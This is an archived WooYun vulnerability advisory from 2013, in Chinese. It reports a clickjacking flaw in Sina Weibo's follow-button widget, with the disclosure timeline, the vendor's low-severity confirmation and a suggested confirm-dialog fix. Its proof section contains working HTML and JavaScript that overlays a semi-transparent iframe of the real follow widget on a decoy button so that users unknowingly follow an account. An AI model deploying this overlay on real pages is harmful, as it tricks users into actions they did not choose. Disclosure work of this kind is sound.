当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018558

漏洞标题：新浪微博关注功能点击劫持漏洞

相关厂商：新浪微博

漏洞作者： Sogili

提交时间：2013-02-09 15:28

修复时间：2013-03-26 15:29

公开时间：2013-03-26 15:29

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-09： 细节已通知厂商并且等待厂商处理中
2013-02-09： 厂商已经确认，细节仅向厂商公开
2013-02-19： 细节向核心白帽子及相关领域专家公开
2013-03-01： 细节向普通白帽子公开
2013-03-11： 细节向实习白帽子公开
2013-03-26： 细节向公众公开

简要描述：

新浪微博关注功能点击劫持漏洞,可以让其它微博用户在不知情的情况下可以你.

详细说明：

这个漏洞应该算是对http://pkav.net/2013/01/341.html的一个补充吧,不是所有情况都可以用防嵌入来解决点击劫持.具体看漏洞证明.

漏洞证明：

QQ截图20130209133851.jpg


<script>
var xx=0;
var yy=0;
window.onload=function (e){
var iframe = document.getElementById('xxx');
iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://widget.weibo.com/relationship/followbutton.php?language=zh_cn&width=136&height=24&uid=1981622273&style=2&btn=red&dpc=1" WIDTH=100 height=25></iframe>
<br><br></br><br></br><br></br><center><button id=a>我勒个去</button></center>

修复方案：

加confirm确认框.

QQ截图20130209133542.png


为什么我觉得新浪不会修复这个漏洞?

版权声明：转载请注明来源 Sogili@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2013-02-09 15:43

厂商回复：

祝新年快乐！

最新状态：

暂无